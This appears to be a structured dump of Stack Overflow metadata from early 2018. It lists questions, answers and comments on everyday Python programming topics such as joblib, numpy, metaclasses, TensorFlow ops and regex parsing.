possible better answer: http://stackoverflow.com/a/48718641
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/48718936
tagged with: boost
has comment: http://stackoverflow.com/comment/84436222
has title: Issues linking Boost.python example
has comment: http://stackoverflow.com/comment/84436263
accepted answer: http://stackoverflow.com/a/48718936
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84436139
has answer: http://stackoverflow.com/a/48718641

http://stackoverflow.com/comment/84413335
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48706736
has text: @jlandercy I've added asserts just for illustration. I know smth going on in function. If I could figure out what exactly I wouldn't ask a question :)
score: 0

http://stackoverflow.com/q/48660734
favorite count: 0
has body: I have two consecutive functions that process large lists. I call one after another, using joblib's Parallel, delayed, in an attempt to increase a processing speed for both functions individually. However, I am seeing an output from function_1 also as soon as Parallel calls function_2 and I don't understand why. In a nutshell, this leads to a function_2 not being called. The main code: from mycode import function_2 from joblib import Parallel, delayed import gc if __name__ == '__main__': list = list_1 print "&gt;&gt;&gt; First call" Parallel(n_jobs = -1)(delayed(function_1) (item) for item in list) gc.collect() do_other_stuff() list = list_2 print "&gt;&gt;&gt; Second call" Parallel(n_jobs=-1, backend='threading')(delayed(function_2) (item) for item in list) Threaded functions: def function_1(): # Gets called first print "this comes from function 1" pass def function_2(): # Gets called second print "this comes from function 2" pass Output: &gt;&gt;&gt; First call this comes from function 1 this comes from function 1 this comes from function 1 this comes from function 1 &gt;&gt;&gt; Second call this comes from function 1 this comes from function 1 this comes from function 1 this comes from function 1 My hypothesis is that there are some parts of function_1 stored in a memory, which is retained after calling it ( possibly due to a joblib memory mapping / sharing feature? ). This is why I gc.collect() between the calls. Since this doesn't help, I think about reloading modules between calls ( joblib, Parallel, delayed ), which seems ugly. Did anyone experience similar behavior (on windows)? Is there some fix? Do I need to un/reload joblib or mycode modules here, between Parallel steps and if so, why?
upvote count: 2
tagged with: python-multithreading
has answer: http://stackoverflow.com/a/48669142
tagged with: python
tagged with: parallel-processing
score: 2
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48669142
has comment: http://stackoverflow.com/comment/84329189
tagged with: python-multiprocessing
type: Question
has comment: http://stackoverflow.com/comment/84333872
answer count: 2
has answer: http://stackoverflow.com/a/52039533
downvote count: 0
linked to: http://stackoverflow.com/q/437589
has title: Bug or feature? Unable to do two consecutive steps of multiprocessing in a python script
has comment: http://stackoverflow.com/comment/84328877
tagged with: joblib
accepted answer: http://stackoverflow.com/a/52039533

http://stackoverflow.com/q/48675673
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84349891
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84349917
has comment: http://stackoverflow.com/comment/84351881
type: Question
has comment: http://stackoverflow.com/comment/84350502
has comment: http://stackoverflow.com/comment/84350337
answer count: 1
has body: I have different list with some parameters which are as follows: list1 = [(CODE, ADDR ), (CODE1, ADDR1)] list2 = [(CODE2, ADDR2 ), (CODE3, ADDR3)] list3= [list1, list2] I am trying to get the parameters from this list and update my dictionary based on these parameters. In order to do that I had written the following code: for i in list3 : for idx,j in enumerate(i): if idx==0: start_code = j[0] start_addr = j[1] CODE = j[0] ADDR = j[1] mydict.update({ADDR:CODE}) , but my problem is that my dictionary mydict is not getting updated each time and it shows me None. May I ask what could be the problem?
has answer: http://stackoverflow.com/a/48676034
has comment: http://stackoverflow.com/comment/84350538
has title: Why my dictionary is not updated in for loop?

http://stackoverflow.com/q/48717893
has answer: http://stackoverflow.com/a/48718098
has answer: http://stackoverflow.com/a/48756774
answer count: 3
has body: I am attempting to modify a value in a class __dict__ directly using something like X.__dict__['x'] += 1. It is impossible to do the modification like that because a class __dict__ is actually a mappingproxy object that does not allow direct modification of values. The reason for attempting direct modification or equivalent is that I am trying to hide the class attribute behind a property defined on the metaclass with the same name. Here is an example: class Meta(type): def __new__(cls, name, bases, attrs, **kwargs): attrs['x'] = 0 return super().__new__(cls, name, bases, attrs) @property def x(cls): return cls.__dict__['x'] class Class(metaclass=Meta): def __init__(self): self.id = __class__.x __class__.__dict__['x'] += 1 This is example shows a scheme for creating an auto-incremented ID for each instance of Class. The line __class__.__dict__['x'] += 1 can not be replaced by setattr(__class__, 'x', __class__.x + 1) because x is a property with no setter in Meta. It would just change a TypeError from mappingproxy into an AttributeError from property. I have tried messing with __prepare__, but that has no effect. The implementation in type already returns a mutable dict for the namespace. The immutable mappingproxy seems to get set in type.__new__, which I don't know how to avoid. I have also attempted to rebind the entire __dict__ reference to a mutable version, but that failed as well: https://ideone.com/w3HqNf, implying that perhaps the mappingproxy is not created in type.__new__. How can I modify a class dict value directly, even when shadowed by a metaclass property? While it may be effectively impossible, setattr is able to do it somehow, so I would expect that there is a solution. My main requirement is to have a class attribute that appears to be read only and does not use additional names anywhere. I am not absolutely hung up on the idea of using a metaclass property with an eponymous class dict entry, but that is usually how I hide read only values in regul…
favorite count: 0
upvote count: 9
tagged with: python-3.x
possible better answer: http://stackoverflow.com/a/48718289
has answer: http://stackoverflow.com/a/48718289
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 9
type: Question
accepted answer: http://stackoverflow.com/a/48718098
has title: Modifying class __dict__ when shadowed by a property
tagged with: class

monospace
tag name: monospace
tags question: http://stackoverflow.com/q/48731746
type: Tag

http://stackoverflow.com/q/48791136
has comment: http://stackoverflow.com/comment/84792127
tagged with: c++
upvote count: 1
tagged with: tensorflow
has body: This question is a follow-up to my previous question where I asked how to allocate GPU or CPU memory in a TensorFlow Op. I wish to be able to allocate memory for any C++ type in GPU/CPU in a TensorFlow Op. Using context one can allocate new tensors (in CPU or GPU) and if they are of a "regular" C++ type one can get a C++ pointer. Example: Tensor tensor; OP_REQUIRES_OK(context, context-&gt;allocate_temp(DT_FLOAT, TensorShape({n_elements}), &amp;tensor)); float * ptr = tensor.flat&lt;float&gt;().data(); My problem is when trying to allocate user-defined types for instance: struct A{ float a; int b; }; Then there is no correspondent Tensorflow type to allocate as. I know that in this case, I could just allocate a float tensor and an int tensor, but for more complex data-structures this makes the code quite messy. I tried to work around it by allocating bytes (DT_UINT8) and using reinterpret_cast to cast to the desired pointer type (as one of the comments from an answer in my previous question suggested). Here is my implementation: template&lt;typename t&gt; void allocate(void ** ptr_address, int num_elements){ Tensor tensor; int number_of_bytes = num_elements * sizeof(t); OP_REQUIRES_OK(context, context-&gt;allocate_temp(DT_UINT8, TensorShape({number_of_bytes}), &amp;tensor)); *ptr_address = reinterpret_cast&lt;t*&gt;(tensor.flat&lt;unsigned char&gt;().data()); } In theory, I would be able to use A* a; allocate&lt;A&gt;(&amp;a, 5); for the class defined above instead of auto a = new A[5]; or cudaMalloc((void**)&amp;a, 5*sizeof(A)). The problem is that after the Op runs it freezes and TensorFlow does not return to python (I have made sure it runs through printf debugging). I am sure it is because of this method of allocation because when I use regular C++/CUDA allocation I don't have this problem. Is there something wrong with this method of allocation or is something else the issue?
type: UnansweredQuestion
has title: Allocating C++/CUDA memory within TensorFlow Op
linked to: http://stackoverflow.com/q/48580580
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/84596626
score: 1
favorite count: 0
type: Question
tagged with: python
has comment: http://stackoverflow.com/comment/84619962

http://stackoverflow.com/q/48726848
has title: SCons install throws no attribute error on the Scons module
has body: I used chocolatey to install python3.6 and SCons 3.0.0 on windows. But out of the box, it doesn't run. File "C:\Python36\Scripts\scons.py", line 201, in &lt;module&gt; SCons.Script.main() File "C:\Python36\scons-3.0.0\SCons\Script\Main.py", line 13 parts.append(version_string("engine", SCons)) File "C:\Python36\scons-3.0.0\SCons\Script\Main.py", line 81 version = module.__version__ AttributeError: module 'SCons' has no attribute '__version__' You can see the directory structure above, but for easy reading... Python -scons.bat -Scripts -scons.py -scons-3.0.0 -SCons -Script -Main.py I'm new to Scons. The homepage says 3.0.0 is compatable with python 3.5+ but not specifically python 3.6. Is this a versions problem or an install issue?
tagged with: scons
upvote count: 1
answer count: 1
favorite count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84456018
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/48726933
type: Question

http://stackoverflow.com/q/48690048
score: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/48690102
has answer: http://stackoverflow.com/a/48690139
has title: Conditional modification of array in python
has body: I tried to change values in an array when it is in some condition. For example, I would to like to add 30, when the vlaues are only higher than 10. So, I tried as follows: x = np.arange(15) x[x&gt;10] = x + 30 I shows "ValueError: NumPy boolean array indexing assignment cannot assign 15 input values to the 4 output values where the mask is true". Also I tried if else and np.where methods but they also does not work. They seem work only when replacing quantity is a certain value such as 30, not an equation as x + 30. Any idea or help would be really appreciated. Thank you, Isaac
possible better answer: http://stackoverflow.com/a/48690198
has answer: http://stackoverflow.com/a/48690198
tagged with: python
type: AnsweredQuestion
type: Question
tagged with: numpy
tagged with: conditional-statements
tagged with: arrays
has answer: http://stackoverflow.com/a/48690102
tagged with: replace

http://stackoverflow.com/a/48831577
type: Answer
accepted answer of: http://stackoverflow.com/q/48753155
score: 2
answers question: http://stackoverflow.com/q/48753155
type: AcceptedAnswer
downvote count: 0
has body: As far as I know factory_boy (version &lt;=2.10.0) doesn't provide anything like that. Though, your problem is the perfect use case to use a context manager. It will allow you to set the database dynamically wherever you need and only under the desired scope, and also DRY!: # factoryboy_utils.py @classmethod def _get_manager(cls, model_class): return super(cls, cls)._get_manager(model_class).using(cls.database) class DBAwareFactory(object): """ Context manager to make model factories db aware Usage: with DBAwareFactory(PersonFactory, 'db_qa') as personfactory_on_qa: person_on_qa = personfactory_on_qa() ... """ def __init__(self, cls, db): # Take a copy of the original cls self.original_cls = cls # Patch with needed bits for dynamic db support setattr(cls, 'database', db) setattr(cls, '_get_manager', _get_manager) # save the patched class self.patched_cls = cls def __enter__(self): return self.patched_cls def __exit__(self, type, value, traceback): return self.original_cls and then, in your tests, you can do something like: from factoryboy_utils import DBAwareFactory class MyTest(TestCase): def test_mymodel_on_db1(self): ... with DBAwareFactory(MyModelFactory, 'db1') as MyModelFactoryForDB1: mymodelinstance_on_db1 = MyModelFactoryForDB1() # whatever you need with that model instance ... # something else here def test_mymodel_on_db2(self): ... with DBAwareFactory(MyModelFactory, 'db2') as MyModelFactoryForDB2: mymodelinstance_on_db2 = MyModelFactoryForDB2() # whatever you need with that model instance ... # something else here
upvote count: 2

http://stackoverflow.com/q/48723327
has title: Formatting strings with numeric sequences to generate a list of strings ordered by the numbers in Python
tagged with: string
favorite count: 0
tagged with: string-formatting
tagged with: python
possible better answer: http://stackoverflow.com/a/48723367
accepted answer: http://stackoverflow.com/a/48723381
has answer: http://stackoverflow.com/a/48723367
type: AnsweredQuestion
score: 1
upvote count: 1
has body: I want a list of strings that is: [2000q1, 2000q2, 2000q3, 2000q4, 2001q1, 2001q2, 2001q3, 2001q4, 2002q1, 2002q2, 2002q3, 2002q4 ...] and so on. I'd like to create the result above in Python by str.format. The following is what I tried: import numpy as np x = list(range(2000, 2003)) x = np.repeat(x, 4) y = [1,2,3,4] * 3 "{}q{}".format(x,y) # One string containing all numbers (FAILED) "{x[i for i in x]}q{y[j for j in y]}".format(**{"x": x, "y": y}) # IndexError (FAILED) Finally I worked it out by: result = list() for i in range(0, len(y)): result.append("{}q{}".format(x[i],y[i])) result Are there any more elegant solutions which don't need an explicit loop? I am looking for something like this in R: sprintf("%dq%d", x, y)
type: Question
has answer: http://stackoverflow.com/a/48723381
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/84470646
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48716542
has text: @MollerRodrigues. This was exactly what I'm looking for. I'm getting an import error though: ImportError: cannot import name 'variables'
score: 0

http://stackoverflow.com/comment/84420387
score: 0
type: AnswerComment
has text: Ah.. `with` block. Thanks that fixed it!
comment on: http://stackoverflow.com/a/48710497
type: Comment

http://stackoverflow.com/a/48732616
has body: This should do it: for line in fo: parts = re.match(r'\s*P(\d+)\s*=\s*[(]\s*([^ ,]*)[ ,]+([^ ,]*)[ )]*',line).groups() print([int(parts[0]), float(parts[1]), float(parts[2])]) The re.match is used to extract the important parts, then each is parsed to the appropriate type to be printed.
has comment: http://stackoverflow.com/comment/84464509
has comment: http://stackoverflow.com/comment/84464796
accepted answer of: http://stackoverflow.com/q/48732515
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84470100
type: Answer
answers question: http://stackoverflow.com/q/48732515
score: 2
upvote count: 2

http://stackoverflow.com/comment/84457191
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48728917
type: Comment
has text: @Manoj; raw_input() was renamed to input() in python3

http://stackoverflow.com/a/48648445
answers question: http://stackoverflow.com/q/48648359
accepted answer of: http://stackoverflow.com/q/48648359
has body: You can try this: import re s = """ <description/> <region id="Calc.R_315.`0" page="1"/> <region id="Calc.R_315.`1" page="1"/> """ new_s = re.sub('\.`\d+', '{}', s).format(*map(lambda x:'-{}'.format(int(x)+1), re.findall('(?<=\.`)\d+(?=")', s))) print(new_s) Output: <description/> <region id="Calc.R_315-1" page="1"/> <region id="Calc.R_315-2" page="1"/>
score: 3
downvote count: 0
type: AcceptedAnswer
upvote count: 3
type: Answer

http://stackoverflow.com/a/68757596
has body: Documentation on this topic is sketchy. After 2 days of trying and searching, this seemed to work: last_row = ws.range(1,1).end('down').row first_col_range = ws.range("A2:A{row}".format(row=last_row)) data_range = ws.range("A2:N{row}".format(row=last_row)) ws.range(data_range).api.Sort(Key1=first_col_range.api, Order1=1, Header=2, Orientation=1) I found https://learn.microsoft.com/en-us/office/vba/api/excel.range.sort to be of some help. The solution I'm posting here refers to the example at: https://www.dataquest.io/blog/python-excel-xlwings-tutorial/ (xlwings Tutorial: Make Excel Faster Using Python) Good luck!
type: Answer
upvote count: 3
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/48735167

javascript
tags question: http://stackoverflow.com/q/48730351
tags question: http://stackoverflow.com/q/48692991
tags question: http://stackoverflow.com/q/48674396
tags question: http://stackoverflow.com/q/48788782
tags question: http://stackoverflow.com/q/48648408
tags question: http://stackoverflow.com/q/48778961
tags question: http://stackoverflow.com/q/48726670
tags question: http://stackoverflow.com/q/48691252
tags question: http://stackoverflow.com/q/48798703
tags question: http://stackoverflow.com/q/48692652
tags question: http://stackoverflow.com/q/48731466
tags question: http://stackoverflow.com/q/48777369
tag name: javascript
tags question: http://stackoverflow.com/q/48751271
tags question: http://stackoverflow.com/q/48650988
tags question: http://stackoverflow.com/q/48675469
tags question: http://stackoverflow.com/q/48707021
tags question: http://stackoverflow.com/q/48742128
tags question: http://stackoverflow.com/q/48670637
tags question: http://stackoverflow.com/q/48683873
tags question: http://stackoverflow.com/q/48769729
tags question: http://stackoverflow.com/q/48726197
tags question: http://stackoverflow.com/q/48677931
tags question: http://stackoverflow.com/q/48730079
tags question: http://stackoverflow.com/q/48709606
type: Tag
tags question: http://stackoverflow.com/q/48789244
tags question: http://stackoverflow.com/q/48654607
tags question: http://stackoverflow.com/q/48673900
tags question: http://stackoverflow.com/q/48661880
tags question: http://stackoverflow.com/q/48688347
tags question: http://stackoverflow.com/q/48757245
tags question: http://stackoverflow.com/q/48791805
tags question: http://stackoverflow.com/q/48777708
tags question: http://stackoverflow.com/q/48751835
tags question: http://stackoverflow.com/q/48803223
tags question: http://stackoverflow.com/q/48758591
tags question: http://stackoverflow.com/q/48781952
tags question: http://stackoverflow.com/q/48761406
tags question: http://stackoverflow.com/q/48675033
tags question: http://stackoverflow.com/q/48657050
tags question: http://stackoverflow.com/q/48734600
tags question: http://stackoverflow.com/q/48788894
tags question: http://stackoverflow.com/q/48719077
tags question: http://stackoverflow.com/q/48722223
tags question: http://stackoverflow.com/q/48668269
tags question: http://stackoverflow.com/q/48705825
tags question: http://stackoverflow.com/q/48648177
tags question: http://stackoverflow.com/q/48791801
tags question: http://stackoverflow.com/q/48720748
tags question: http://stackoverflow.com/q/48771739
tags question: http://stackoverflow.com/q/48697322
tags question: http://stackoverflow.com/q/48678728
tags question: http://stackoverflow.com/q/48692276
tags question: http://stackoverflow.com/q/48736341
tags question: http://stackoverflow.com/q/48771554
tags question: http://stackoverflow.com/q/48799866
tags question: http://stackoverflow.com/q/48770036

http://stackoverflow.com/comment/84516817
has text: 97 is a magic number and should never be used. Use `ord('a')` instead, because it is self-explanatory.
type: Comment
score: 2
comment on: http://stackoverflow.com/a/48757895
type: AnswerComment

http://stackoverflow.com/comment/84427276
has text: I would instead have a global container (probably a `set`) of silent channels. Then you can just `silent_channels.add(ctx.message.channel)` and `silent_channels.discard(ctx.message.channel)` as appropriate.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48713510
type: QuestionComment

http://stackoverflow.com/a/48655713
type: Answer
score: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/96832548
accepted answer of: http://stackoverflow.com/q/48655393
has comment: http://stackoverflow.com/comment/96666014
upvote count: 3
answers question: http://stackoverflow.com/q/48655393
type: AcceptedAnswer
has body: Assuming your xml data is in a file called test.xml, the following code should work: import xml.etree.ElementTree as ET root = ET.parse('test.xml').getroot() for Def in root.findall('Def'): module = Def.find('module').text if module == 'DDAC': print(Def.find('description').text)

http://stackoverflow.com/q/48695747
has comment: http://stackoverflow.com/comment/84390440
tagged with: matplotlib
has body: I have the following problem. I have the coordinates of points of a line. Now I want to connect them or interpolate them, so that I have a continuous line in a room and calculate the Euclidean distance to the rest of the box coordinates which could be for example a (21,41,91) shaped numpy array (that should not be the problem with scipy, skimage etc.). So I want to do something like this but in 3D: Distance Transformation Distances on grid So the the line voxel will get zeros and all the rest coordinates ones. I don't want distances of the points of a line or total lengths of the lines Here is a visualization how the points are spread in the room Spread points in room And here are coordinates in a numpy array of one line of them for example. They are ordered in the right order: import numpy as np line1 = np.array([[ 14,11,35], [ 13,14,37], [ 11,17,38], [ 11,19,41], [ 12,21,43], [ 15,24,46], [ 18,27,46], [ 19,30,45], [ 20,33,45], [ 21,36,46], [ 22,37,47], [ 24,37,47], [ 23,40,49], [ 24,42,51], [ 21,44,50], [ 19,46,48], [ 18,47,45]])
tagged with: numpy
has answer: http://stackoverflow.com/a/48696241
score: 0
answer count: 1
type: UnansweredQuestion
tagged with: python
tagged with: interpolation
has title: Python: Interpolate lines and get the Euclidean Distance
tagged with: scipy
type: Question

http://stackoverflow.com/comment/85538134
type: Comment
comment on: http://stackoverflow.com/q/48655638
score: 0
has text: Any luck with this @Junchao Gu? I'm facing the same problem and I could use some help
type: QuestionComment

http://stackoverflow.com/a/48807366
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84689606
downvote count: 0
has comment: http://stackoverflow.com/comment/84774659
has comment: http://stackoverflow.com/comment/84689663
type: Answer
answers question: http://stackoverflow.com/q/48783559
score: 1
accepted answer of: http://stackoverflow.com/q/48783559
has body: The issue was when serialized data in some way was transferred to backend how to recover it with Python EllipticCurvePublicKey type interface. Even if I decide to use protobuf the same question would arise. But now I found the solution I'll put it here if anyone also will encounter this issue. As I find out there is no interface to directly load Python EllipticCurvePublicKey object from Crypto++ SecByteBlock serialized object (which is representing the Diffie-Hellman public key in this scope). To do this we need to convert public key into elliptic curve point and the serialize each coordinate of point (which is a big integer) in the way as you can see in this code snipped: CryptoPP::DL_GroupParameters_EC&lt;ECP&gt; params(CURVE); CryptoPP::ECPPoint p = params.DecodeElement(pubA.BytePtr(), true); std::cout &lt;&lt; CryptoPP::IntToString(p.x) &lt;&lt; std::endl;// this will be send to backend std::cout &lt;&lt; CryptoPP::IntToString(p.y) &lt;&lt;std::endl; To recover the two integers (x and y coordinates of the point) in the Python code as a DH public key you need to do the following # assuming that the x and y values are from client side x = 109064308162845536717682288676453496629093274218806834681903624047410153913758 y = 63162707562199639283552673289102028849183508196715869820627148926667819088660 peer_public_key =cryptography.hazmat.primitives.asymmetric.ec.EllipticCurvePublicNumbers(x, y, ec.SECP256K1()).public_key(default_backend())

http://stackoverflow.com/comment/84531841
type: AnswerComment
has text: @tpbafk: any typo? [`newline` is definitely a keyword of open](https://docs.python.org/library/functions.html?highlight=open#open)
comment on: http://stackoverflow.com/a/48764776
score: 0
type: Comment

http://stackoverflow.com/comment/84489775
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48744490
score: 2
has text: `df.groupby('group').mean()` ?

http://stackoverflow.com/comment/84923614
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48942611
has text: @blahblahblah Also, check the new project directory structure I've edited and compare it with your's and don't forget to remove all the changes related to **`sys.path`** from all of your modules.
score: 0

http://stackoverflow.com/q/48791712
upvote count: 5
possible better answer: http://stackoverflow.com/a/48792293
has answer: http://stackoverflow.com/a/48833918
has answer: http://stackoverflow.com/a/48792293
has comment: http://stackoverflow.com/comment/84589220
downvote count: 1
has answer: http://stackoverflow.com/a/48793046
tagged with: python
has title: Compute a measure of "near multiplicity" from a list of noisy values
has comment: http://stackoverflow.com/comment/84589207
has comment: http://stackoverflow.com/comment/84585969
has comment: http://stackoverflow.com/comment/84585936
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84590579
has comment: http://stackoverflow.com/comment/84589343
type: Question
answer count: 3
accepted answer: http://stackoverflow.com/a/48833918
score: 4
has comment: http://stackoverflow.com/comment/84589169
favorite count: 0
has body: Question Let us say I've got a list of values which have a common multiple greater than 1. For example, let us take the multiple to be 3 and form a collection of multiples of this value: harmonicList = [3,6,6,3,3,9,27,3,15,18,9] Now I add some noise: harmonicList = [ v + (random() * 2 - 1 ) * 0.1 for v in harmonicList] I'm searching for an algorithm that will return a number near 1.0 when the items in the list are near to being multiples of a common value but near 0.0 when the numbers are not near to being multiples -- such as, for example when the list is a collection of prime numbers. Is there such a measure of "near multiplicity"? Why I want to solve this problem I'm currently trying to detect Chessboard in a screenshot using Hough Transform. Sometimes the case is ideal, and it works very well : But sometimes not : I would like to detect the cases where there is a lot of aberrations. Thus, my idea is to compute the intersections of the lines detected, and create a collection of length (only if the lines where horizontal or vertical). If the detection was good, I know that there will be a great "harmonicity" inside this collection I can then use that algorithm and a threshold. I know there is probably a better method to detect a chessboard. Maybe that this one is even stupid but that how comes the problem and I find it interesting.
tagged with: statistics

http://stackoverflow.com/q/48646779
downvote count: 1
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48646921
score: -1
has answer: http://stackoverflow.com/a/48647569
has answer: http://stackoverflow.com/a/48647110
has answer: http://stackoverflow.com/a/48646937
upvote count: 0
accepted answer: http://stackoverflow.com/a/48647569
favorite count: 0
possible better answer: http://stackoverflow.com/a/48646937
tagged with: python-3.x
tagged with: python
answer count: 4
has title: TypeError: cupcake_flour() missing 1 required positional argument: 'cu_flour'. What am I doing wrong?
has body: This is my first time taking python and i'm having a hard time understanding what I've done wrong to receive this error? This code is supposed to change grams to cups for a cupcake recipe and this is just the first step converting the flour. The input function works but after that I get the above error. user = input("How many cookies do you want to make? ") def cupcake_flour(cu_flour): cu_flour = user * 100 / 120 print(cu_flour + "cups of flour") def main(): cupcake_flour() main()

http://stackoverflow.com/comment/84549896
has text: still the same problem try to open the module with a import test_window and check if you can use the used output. thats my problem.
comment on: http://stackoverflow.com/a/48774098
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/48653098
has body: Demo: In [12]: df Out[12]: cola colb colc cold 0 cola1 b'colb1' colc1 b'cold1' 1 cola2 b'colb2' colc2 b'cold2' 2 cola3 b'colb3' colc3 b'cold3' 3 cola4 b'colb4' colc4 b'cold4' 4 cola4 b'colb4' colc4 b'cold4' In [13]: df.applymap(lambda x: x.decode() if isinstance(x, bytes) else x) Out[13]: cola colb colc cold 0 cola1 colb1 colc1 cold1 1 cola2 colb2 colc2 cold2 2 cola3 colb3 colc3 cold3 3 cola4 colb4 colc4 cold4 4 cola4 colb4 colc4 cold4
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84308486
has comment: http://stackoverflow.com/comment/84308791
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/48653070
score: 11
accepted answer of: http://stackoverflow.com/q/48653070
upvote count: 11

http://stackoverflow.com/q/48648696
favorite count: 0
tagged with: python
has answer: http://stackoverflow.com/a/48649058
type: AnsweredQuestion
downvote count: 0
score: 1
has title: Python - Small paginator
has comment: http://stackoverflow.com/comment/84296019
has answer: http://stackoverflow.com/a/48649444
accepted answer: http://stackoverflow.com/a/48649444
type: Question
possible better answer: http://stackoverflow.com/a/48649058
has comment: http://stackoverflow.com/comment/84295522
answer count: 2
has body: Let's say I have a max_number defined by sistem. For example: 423 I need, in this case, 5 list: I'll use the 2 items in the list has my from - to indicators to make a subset of a db table. from - to: [1,100] [101,200] [201,300] [301,400] [401,423] What would be the quickest approach of doing this? I have this function but it's still buggy: def paginator(desde,cantidad_maxima): lst = [] if(cantidad_maxima &lt; 100): lst.append(desde) lst.append(cantidad_maxima) print(lst) hasta = 100 lst.append(desde) lst.append(hasta) print('Primera vuelta del paginador:') print(lst) while hasta &lt; cantidad_maxima: desde = desde + 100 hasta = hasta + 100 + (cantidad_maxima%100) lst.append(desde) lst.append(hasta) print('Desde - Hasta:') print(lst) paginator(1, 423) # returns [1, 100, 101, 223, 201, 346, 301, 469]
upvote count: 1
has comment: http://stackoverflow.com/comment/84295323

http://stackoverflow.com/comment/84343273
has text: Swap the two inner loops. Then break out of the inner one if found.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48672449

http://stackoverflow.com/comment/84587560
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48792380
score: 0
has text: @hpaulj Thank you for your response! I haven't tried it, but I did consider masking. But what happens when you (i) add one masked value and one real value and (ii) two masked values. What results (sums) are returned for (i) and (ii)?

http://stackoverflow.com/a/48744379
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48743872
answers question: http://stackoverflow.com/q/48743872
type: Answer
has body: Perhaps you want to use the drawText? Doing so, your code will be from reportlab.lib.pagesizes import letter from reportlab.pdfgen import canvas canvas = canvas.Canvas("Forensic Report.pdf", pagesize=letter) canvas.setLineWidth(.3) canvas.setFont('Helvetica', 12) canvas.drawString(30,750,'LYIT MOBILE FORENSICS DIVISION') canvas.drawString(500,750,"Date: 12/02/2018") canvas.line(500,747,595,747) canvas.drawString(500,725,'Case Number:') canvas.drawString(580,725,"10") canvas.line(500,723,595,723) line1 = 'This forensic report has been compiled by the forensic' line2 = 'examiner in conclusion to the investigation into the RTA' line3 = 'case which occured on 23/01/2018' textobject = canvas.beginText(30, 700) lines = [line1, line2, line3] for line in lines: textobject.textLine(line) canvas.drawText(textobject) canvas.save() This is also the solution suggested here. Unfortunately, I do not see it as a valid solution for automatic text wrapping in new lines, i.e. you should manage how to split the string yourself.
upvote count: 1
downvote count: 1

http://stackoverflow.com/q/48663260
upvote count: 2
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84329103
tagged with: excel
score: 2
answer count: 0
has comment: http://stackoverflow.com/comment/84327910
type: Question
has comment: http://stackoverflow.com/comment/84328266
has comment: http://stackoverflow.com/comment/84323756
has comment: http://stackoverflow.com/comment/84327353
has body: Please find the full source code is shown below: msft = pd.read_csv("C:\\Users\\abc\\Downloads\\xyz_ ___week_05.csv") msft.to_excel("C:\\Users\\abc\\Downloads\\xyz_ ___week_05.xlsx") msft = pd.read_excel("C:\\Users\\abc\\Downloads\\xyz_ ___week_05.xlsx",skiprows=[0]) msft.to_excel("C:\\Users\\abc\\Downloads\\xyz_ ___week_05.xlsx") msft['Tested On'] = pd.to_datetime(msft['Tested On']) msft['Tested On'].dt.date df = msft[msft['Tested On'] == '2018-02-02'] pd.pivot_table(df, index = ['Run'], columns = 'Status', aggfunc = 'count') df.to_excel("C:\\Users\\abc\\Downloads\\week_05.xlsx") df.head() ` Expected result: In this, i need to filter by date field, and with that result i need to create a new excel. Actual result: While using the above code, I get an empty table.
has comment: http://stackoverflow.com/comment/84332858
has title: how to save the pivot table result into an new excel using pandas?
tagged with: pandas
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/84409446
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48705166
type: Comment
has text: I cannot reproduce that: `FromBus[1][0][1:5]` -> `[3724637724L, 3724837324L, 3724837707L, 3724837707L]` then `[int(i) for i in FromBus[1][0]][1:5]` -> `[3724637724, 3724837324, 3724837707, 3724837707]`. (Python 2.7.14, x86_64, Linux) But in any case, as long as your other use is still in Python, I am not sure why or what would be a problem using `long`. Also check `sys.maxint` to see size of `int` on your platform.

http://stackoverflow.com/comment/84569027
comment on: http://stackoverflow.com/q/48782980
has text: @VikasDamodar when i changed it to lines, it didn't work either.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84606280
type: QuestionComment
comment on: http://stackoverflow.com/q/48801807
type: Comment
has text: Can you show us how your nesting looks, exactly? As I understood it, you want to copy something like `{'a': [{'a': 1, 'b': 2}, {'c': 3, 'd': 4}]}`, is that correct?
score: 0

http://stackoverflow.com/a/48711841
score: 0
type: Answer
answers question: http://stackoverflow.com/q/48711725
has body: You have it 1-on-1, so it should be players = TeamPlayer.object.all() if request.user.player in players # Do what you need to or in template {% if request.user.player in players %} provided players is sent to the template When it's one-on-one, it's always user.player to get related player and player.user for the related user.

http://stackoverflow.com/q/48777823
score: 1
has title: 'str' object is not callable and sep operator
type: Question
answer count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84557274
